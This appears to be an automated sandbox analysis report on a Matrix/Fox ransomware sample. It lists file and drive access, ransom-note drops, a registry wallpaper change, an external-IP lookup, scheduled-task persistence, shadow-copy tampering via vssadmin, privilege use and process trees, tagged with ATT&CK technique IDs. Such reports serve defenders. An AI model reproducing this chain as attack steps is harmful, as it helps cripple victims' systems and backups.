File opened (read-only)	\??\K:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\N:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\M:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\J:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\J:	EY6ycQhK64.exe
File opened (read-only)	\??\N:	EY6ycQhK64.exe
File opened (read-only)	\??\Y:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\U:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\R:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\O:	EY6ycQhK64.exe
File opened (read-only)	\??\Y:	EY6ycQhK64.exe
File opened (read-only)	\??\W:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\O:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\E:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\V:	EY6ycQhK64.exe
File opened (read-only)	\??\B:	EY6ycQhK64.exe
File opened (read-only)	\??\T:	EY6ycQhK64.exe
File opened (read-only)	\??\U:	EY6ycQhK64.exe
File opened (read-only)	\??\H:	EY6ycQhK64.exe
File opened (read-only)	\??\L:	EY6ycQhK64.exe
File opened (read-only)	\??\M:	EY6ycQhK64.exe
File opened (read-only)	\??\Q:	EY6ycQhK64.exe
File opened (read-only)	\??\R:	EY6ycQhK64.exe
File opened (read-only)	\??\V:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\L:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\E:	EY6ycQhK64.exe
File opened (read-only)	\??\S:	EY6ycQhK64.exe
File opened (read-only)	\??\A:	EY6ycQhK64.exe
File opened (read-only)	\??\G:	EY6ycQhK64.exe
File opened (read-only)	\??\P:	EY6ycQhK64.exe
File opened (read-only)	\??\W:	EY6ycQhK64.exe
File opened (read-only)	\??\X:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\Q:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\P:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\Z:	EY6ycQhK64.exe
File opened (read-only)	\??\T:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\I:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\G:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\K:	EY6ycQhK64.exe
File opened (read-only)	\??\X:	EY6ycQhK64.exe
File opened (read-only)	\??\Z:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\H:	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened (read-only)	\??\I:	EY6ycQhK64.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

345 myexternalip.com

flow	ioc
345	myexternalip.com

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

reg.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Roaming\\z2Me3JXw.bmp"	reg.exe

Drops file in Program Files directory 64 IoCs

Processes:

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

description	ioc	process
File opened for modification	C:\Program Files\7-Zip\Lang\fa.txt	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\duplicate.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\rhp_world_icon.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\js\nls\nl-nl\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_proxy\win11\identity_helper.Sparse.Dev.msix	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Dev.msix.DATA	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\BORDERS\MSART13.BDR	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\VideoLAN\VLC\lua\playlist\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Download_on_the_App_Store_Badge_pt_135x40.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\osmmui.msi.16.en-us.tree.dat	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PowerPointInterProviderRanker.bin	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\Tracker\add_reviewer.gif	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Locales\tt.pak	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ko.txt	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OFFICE16\DataModel\Resources\1033\msmdsrvi_xl.rll	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\fr-ma\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\ResiliencyLinks\MEIPreload\manifest.json.DATA	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\add-account\images\illustrations_retina.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\tracked-send\js\plugins\tracked-send\css\home-selector.css	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\EssentialResume.dotx	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\Locales\ro.pak	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files\Microsoft Office\root\Office16\FPA_f2\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\CANYON\CANYON.ELM	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_editpdf_18.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\S_IlluEmptyStateCCFiles_280x192.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-fr_fr.gif	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\js\nls\sk-sk\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\santuario.md	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fonts\LucidaBrightRegular.ttf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\packager.jar	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\PAGESIZE\PGLBL026.XML	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\RICEPAPR\THMBNAIL.PNG	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\en\DatabaseCompare.HxS	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\PublisherR_Trial-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\sign-services-auth\js\nls\it-it\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\tr-tr\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Download_on_the_App_Store_Badge_ru_135x40.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nl-nl\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Locales\sq.pak.DATA	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng2.txt	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management\jmxremote.password.template	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\ResiliencyLinks\Locales\kok.pak.DATA	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Mu\Content.DATA	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ext.txt	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\ja-jp\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\uss-search\js\nls\fi-fi\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\de-de\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\PRISTINA.TTF	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\fss\img\tools\themes\dark\circle_2x.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\FillnSign_visual.svg	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_Subscription2-pl.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectPro2019R_OEM_Perp-ul-oob.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\rsod\dcfmui.msi.16.en-us.boot.tree.dat	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\js\nls\zh-cn\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\msedge.exe.sig	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\PackageManifests\AppXManifest.90160000-001F-0409-1000-0000000FF1CE.xml	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\reviews\js\nls\sv-se\#FOX_README#.rtf	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\files\dev\nls\it-it\ui-strings.js	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\win-scrollbar\themes\dark\arrow-down.png	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ru.txt	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\MondoR_O16EnterpriseVL_Bypass30-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\ProjectStdCO365R_SubTest-ppd.xrm-ms	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\MSO0127.ACL	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

4428 schtasks.exe
Interacts with shadow copies 2 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Processes:

vssadmin.exevssadmin.exe

pid process

5628 vssadmin.exe
5152 vssadmin.exe

pid	process
4428	schtasks.exe

pid	process
5628	vssadmin.exe
5152	vssadmin.exe

Suspicious behavior: EnumeratesProcesses 16 IoCs

Processes:

powershell.exeEY6ycQhK64.exepowershell.exe

pid	process
2560	powershell.exe
2560	powershell.exe
2560	powershell.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
5452	EY6ycQhK64.exe
4560	powershell.exe
4560	powershell.exe
4560	powershell.exe

Suspicious behavior: LoadsDriver 1 IoCs

Processes:

EY6ycQhK64.exe

pid process

5452 EY6ycQhK64.exe

pid	process
5452	EY6ycQhK64.exe

Suspicious use of AdjustPrivilegeToken 50 IoCs

Processes:

powershell.exetakeown.exeEY6ycQhK64.exevssvc.exeWMIC.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	2560	powershell.exe
Token: SeTakeOwnershipPrivilege	5564	takeown.exe
Token: SeDebugPrivilege	5452	EY6ycQhK64.exe
Token: SeLoadDriverPrivilege	5452	EY6ycQhK64.exe
Token: SeBackupPrivilege	5344	vssvc.exe
Token: SeRestorePrivilege	5344	vssvc.exe
Token: SeAuditPrivilege	5344	vssvc.exe
Token: SeIncreaseQuotaPrivilege	6104	WMIC.exe
Token: SeSecurityPrivilege	6104	WMIC.exe
Token: SeTakeOwnershipPrivilege	6104	WMIC.exe
Token: SeLoadDriverPrivilege	6104	WMIC.exe
Token: SeSystemProfilePrivilege	6104	WMIC.exe
Token: SeSystemtimePrivilege	6104	WMIC.exe
Token: SeProfSingleProcessPrivilege	6104	WMIC.exe
Token: SeIncBasePriorityPrivilege	6104	WMIC.exe
Token: SeCreatePagefilePrivilege	6104	WMIC.exe
Token: SeBackupPrivilege	6104	WMIC.exe
Token: SeRestorePrivilege	6104	WMIC.exe
Token: SeShutdownPrivilege	6104	WMIC.exe
Token: SeDebugPrivilege	6104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6104	WMIC.exe
Token: SeRemoteShutdownPrivilege	6104	WMIC.exe
Token: SeUndockPrivilege	6104	WMIC.exe
Token: SeManageVolumePrivilege	6104	WMIC.exe
Token: 33	6104	WMIC.exe
Token: 34	6104	WMIC.exe
Token: 35	6104	WMIC.exe
Token: 36	6104	WMIC.exe
Token: SeIncreaseQuotaPrivilege	6104	WMIC.exe
Token: SeSecurityPrivilege	6104	WMIC.exe
Token: SeTakeOwnershipPrivilege	6104	WMIC.exe
Token: SeLoadDriverPrivilege	6104	WMIC.exe
Token: SeSystemProfilePrivilege	6104	WMIC.exe
Token: SeSystemtimePrivilege	6104	WMIC.exe
Token: SeProfSingleProcessPrivilege	6104	WMIC.exe
Token: SeIncBasePriorityPrivilege	6104	WMIC.exe
Token: SeCreatePagefilePrivilege	6104	WMIC.exe
Token: SeBackupPrivilege	6104	WMIC.exe
Token: SeRestorePrivilege	6104	WMIC.exe
Token: SeShutdownPrivilege	6104	WMIC.exe
Token: SeDebugPrivilege	6104	WMIC.exe
Token: SeSystemEnvironmentPrivilege	6104	WMIC.exe
Token: SeRemoteShutdownPrivilege	6104	WMIC.exe
Token: SeUndockPrivilege	6104	WMIC.exe
Token: SeManageVolumePrivilege	6104	WMIC.exe
Token: 33	6104	WMIC.exe
Token: 34	6104	WMIC.exe
Token: 35	6104	WMIC.exe
Token: 36	6104	WMIC.exe
Token: SeDebugPrivilege	4560	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.execmd.execmd.execmd.execmd.execmd.exeEY6ycQhK.exewscript.execmd.execmd.execmd.exe

description	pid	process	target process
PID 4008 wrote to memory of 3700	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 3700	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 3700	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 1876	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	NWFxTI7p.exe
PID 4008 wrote to memory of 1876	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	NWFxTI7p.exe
PID 4008 wrote to memory of 1876	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	NWFxTI7p.exe
PID 4008 wrote to memory of 3928	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 3928	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 3928	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 3928 wrote to memory of 2560	3928	cmd.exe	powershell.exe
PID 3928 wrote to memory of 2560	3928	cmd.exe	powershell.exe
PID 3928 wrote to memory of 2560	3928	cmd.exe	powershell.exe
PID 4008 wrote to memory of 5636	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 5636	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 5636	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 5652	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 5652	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 5652	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 5636 wrote to memory of 5856	5636	cmd.exe	reg.exe
PID 5636 wrote to memory of 5856	5636	cmd.exe	reg.exe
PID 5636 wrote to memory of 5856	5636	cmd.exe	reg.exe
PID 5652 wrote to memory of 5864	5652	cmd.exe	wscript.exe
PID 5652 wrote to memory of 5864	5652	cmd.exe	wscript.exe
PID 5652 wrote to memory of 5864	5652	cmd.exe	wscript.exe
PID 5636 wrote to memory of 5916	5636	cmd.exe	reg.exe
PID 5636 wrote to memory of 5916	5636	cmd.exe	reg.exe
PID 5636 wrote to memory of 5916	5636	cmd.exe	reg.exe
PID 5636 wrote to memory of 5980	5636	cmd.exe	reg.exe
PID 5636 wrote to memory of 5980	5636	cmd.exe	reg.exe
PID 5636 wrote to memory of 5980	5636	cmd.exe	reg.exe
PID 4008 wrote to memory of 6048	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 6048	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 4008 wrote to memory of 6048	4008	0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe	cmd.exe
PID 6048 wrote to memory of 1612	6048	cmd.exe	attrib.exe
PID 6048 wrote to memory of 1612	6048	cmd.exe	attrib.exe
PID 6048 wrote to memory of 1612	6048	cmd.exe	attrib.exe
PID 6048 wrote to memory of 5900	6048	cmd.exe	cacls.exe
PID 6048 wrote to memory of 5900	6048	cmd.exe	cacls.exe
PID 6048 wrote to memory of 5900	6048	cmd.exe	cacls.exe
PID 6048 wrote to memory of 5564	6048	cmd.exe	takeown.exe
PID 6048 wrote to memory of 5564	6048	cmd.exe	takeown.exe
PID 6048 wrote to memory of 5564	6048	cmd.exe	takeown.exe
PID 6048 wrote to memory of 1764	6048	cmd.exe	cmd.exe
PID 6048 wrote to memory of 1764	6048	cmd.exe	cmd.exe
PID 6048 wrote to memory of 1764	6048	cmd.exe	cmd.exe
PID 1764 wrote to memory of 5568	1764	cmd.exe	EY6ycQhK.exe
PID 1764 wrote to memory of 5568	1764	cmd.exe	EY6ycQhK.exe
PID 1764 wrote to memory of 5568	1764	cmd.exe	EY6ycQhK.exe
PID 5568 wrote to memory of 5452	5568	EY6ycQhK.exe	EY6ycQhK64.exe
PID 5568 wrote to memory of 5452	5568	EY6ycQhK.exe	EY6ycQhK64.exe
PID 5864 wrote to memory of 6100	5864	wscript.exe	cmd.exe
PID 5864 wrote to memory of 6100	5864	wscript.exe	cmd.exe
PID 5864 wrote to memory of 6100	5864	wscript.exe	cmd.exe
PID 6100 wrote to memory of 4428	6100	cmd.exe	schtasks.exe
PID 6100 wrote to memory of 4428	6100	cmd.exe	schtasks.exe
PID 6100 wrote to memory of 4428	6100	cmd.exe	schtasks.exe
PID 5864 wrote to memory of 5524	5864	wscript.exe	cmd.exe
PID 5864 wrote to memory of 5524	5864	wscript.exe	cmd.exe
PID 5864 wrote to memory of 5524	5864	wscript.exe	cmd.exe
PID 5524 wrote to memory of 5996	5524	cmd.exe	schtasks.exe
PID 5524 wrote to memory of 5996	5524	cmd.exe	schtasks.exe
PID 5524 wrote to memory of 5996	5524	cmd.exe	schtasks.exe
PID 3324 wrote to memory of 5628	3324	cmd.exe	vssadmin.exe
PID 3324 wrote to memory of 5628	3324	cmd.exe	vssadmin.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware
Views/modifies file attributes 1 TTPs 1 IoCs
evasion

Hidden Files and Directories
T1564.001

Processes:

attrib.exe

pid process

1612 attrib.exe

pid	process
1612	attrib.exe

C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe
"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7.exe"
1⤵
- Matrix Ransomware
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4008
- C:\Windows\SysWOW64\cmd.exe
